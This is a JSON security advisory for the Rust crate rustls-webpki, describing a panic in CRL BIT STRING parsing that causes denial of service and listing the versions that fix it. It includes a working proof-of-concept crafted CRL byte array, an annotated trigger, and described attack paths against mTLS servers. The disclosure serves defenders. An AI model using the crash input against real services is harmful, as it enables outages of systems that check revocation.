{ "affected": [ { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-82j2-j2ch-gfr8/GHSA-82j2-j2ch-gfr8.json" }, "package": { "ecosystem": "crates.io", "name": "rustls-webpki", "purl": "pkg:cargo/rustls-webpki" }, "ranges": [ { "events": [ { "introduced": "0" }, { "fixed": "0.103.13" } ], "type": "SEMVER" } ] }, { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-82j2-j2ch-gfr8/GHSA-82j2-j2ch-gfr8.json" }, "package": { "ecosystem": "crates.io", "name": "rustls-webpki", "purl": "pkg:cargo/rustls-webpki" }, "ranges": [ { "events": [ { "introduced": "0.104.0-alpha.1" }, { "fixed": "0.104.0-alpha.7" } ], "type": "SEMVER" } ] } ], "aliases": [ "CVE-2026-93599", "RUSTSEC-2026-0104" ], "database_specific": { "cwe_ids": [ "CWE-125" ], "github_reviewed": true, "github_reviewed_at": "2026-04-24T16:20:17Z", "nvd_published_at": null, "severity": "HIGH" }, "details": "### Summary\n\n`bit_string_flags()` in `src/der.rs` panics with an index-out-of-bounds when given a BIT STRING whose content is exactly `[0x00]` (one byte: zero padding bits, zero data bytes). This is reachable through the public API `BorrowedCertRevocationList::from_der()` via the `issuingDistributionPoint` CRL extension.\n\n**Precondition**: CRL checking is opt-in in rustls-webpki. This vulnerability affects only applications that explicitly pass `RevocationOptions` to `verify_for_usage()` and load CRL bytes from a source the attacker can influence. The default rustls configuration (no `RevocationOptions`) is not affected.\n\n> **AI disclosure**: This report was prepared with AI assistance (Claude). The vulnerability was discovered by differential fuzzing against a formally-verified Rust oracle. All technical claims have been independently verified against the live source code before submission.\n\n### Details\n`bit_string_flags()` in `src/der.rs` reads the content of named-bit BIT\nSTRINGs (KeyUsage, ReasonFlags, etc.). Its input guard:\n\n```rust\nif padding_bits > 7 || (raw_bits.is_empty() && padding_bits != 0) {\n return Err(Error::BadDer);\n}\nlet last_byte = raw_bits[raw_bits.len() - 1]; // ← crash\n```\nmisses the case `padding_bits == 0 && raw_bits.is_empty()`.\nWhen a BIT STRING has content `[0x00]` (one padding-bits byte set to zero, no data bytes):\n- padding_bits = 0x00 — passes the > 7 check ✓\n- raw_bits = [] — passes is_empty() && != 0 check ✓ (because 0 != 0 is false)\n- raw_bits.len() - 1 = 0usize - 1 = underflow → usize::MAX\n- raw_bits[usize::MAX] → panic\n\n\nDebug: thread 'main' panicked: attempt to subtract with overflow\nRelease: thread 'main' panicked: index out of bounds: the len is 0\n but the index is 18446744073709551615\n\n### PoC\nCargo.toml:\n```\n[dependencies]\nrustls-webpki = \"0.102.8\" # also reproduces on 0.103.12\n```\nsrc/main.rs:\n```\nfn main() {\n let crl: &[u8] = &[\n 0x30, 0x65, 0x30, 0x50, 0x02, 0x01, 0x01, 0x30, 0x0d, 0x06, 0x09,\n 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x0b, 0x05, 0x00,\n 0x30, 0x0c, 0x31, 0x0a, 0x30, 0x08, 0x06, 0x03, 0x55, 0x04, 0x03,\n 0x13, 0x01, 0x41, 0x17, 0x0d, 0x32, 0x30, 0x30, 0x31, 0x30, 0x31,\n 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x5a, 0x17, 0x0d, 0x32, 0x31,\n 0x30, 0x31, 0x30, 0x31, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x5a,\n 0xa0, 0x10, 0x30, 0x0e, 0x30, 0x0c, 0x06, 0x03, 0x55, 0x1d, 0x1c,\n 0x04, 0x05, 0x30, 0x03, 0x83, 0x01, 0x00, 0x30, 0x0d, 0x06, 0x09,\n 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x0b, 0x05, 0x00,\n 0x03, 0x02, 0x00, 0x00,\n ];\n // Panics — never returns\n let _ = webpki::BorrowedCertRevocationList::from_der(crl);\n}\n```\noutput:\n```\nthread 'main' panicked at src/der.rs:...\nindex out of bounds: the len is 0 but the index is 18446744073709551615\n```\n#### Trigger\n```\na0 10 -- cRLExtensions [0] EXPLICIT\n 30 0e -- SEQUENCE OF Extension\n 30 0c -- Extension SEQUENCE\n 06 03 55 1d 1c -- OID 2.5.29.28 (id-ce-issuingDistributionPoint)\n 04 05 -- OCTET STRING (extnValue)\n 30 03 -- IssuingDistributionPoint SEQUENCE\n 83 01 00 -- [3] onlySomeReasons: BIT STRING, len=1, content=0x00\n -- padding_bits=0, data=[] ← TRIGGER\n```\n\n\n### Impact\n- Who is affected: \nApplications that (1) use rustls-webpki with CRL\nrevocation checking explicitly enabled via RevocationOptions, and (2)\nload CRL bytes from a source an attacker can influence.\n- Attack paths:\n - mTLS server (most realistic): An attacker obtains any certificate from a CA that permits custom CDP URLs — common in enterprise PKI. They set the CDP to a server they control, serve the 103-byte crafted CRL, and connect to the target. The server fetches the attacker's CRL during the handshake and panics. No MITM required.\n - TLS client with server-cert CRL checking: An attacker who can MITM an HTTP CRL distribution point (ARP/DNS poisoning on a local network) serves the crafted CRL in place of the legitimate one.", "id": "GHSA-82j2-j2ch-gfr8", "modified": "2026-09-19T03:55:33.412079637Z", "published": "2026-04-24T16:20:17Z", "references": [ { "type": "WEB", "url": "https://github.com/rustls/webpki/security/advisories/GHSA-82j2-j2ch-gfr8" }, { "type": "PACKAGE", "url": "https://github.com/rustls/webpki" }, { "type": "WEB", "url": "https://rustsec.org/advisories/RUSTSEC-2026-0104.html" } ], "schema_version": "1.9.0", "severity": [ { "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "type": "CVSS_V3" } ], "summary": "rustls-webpki: Denial of service via panic on malformed CRL BIT STRING" }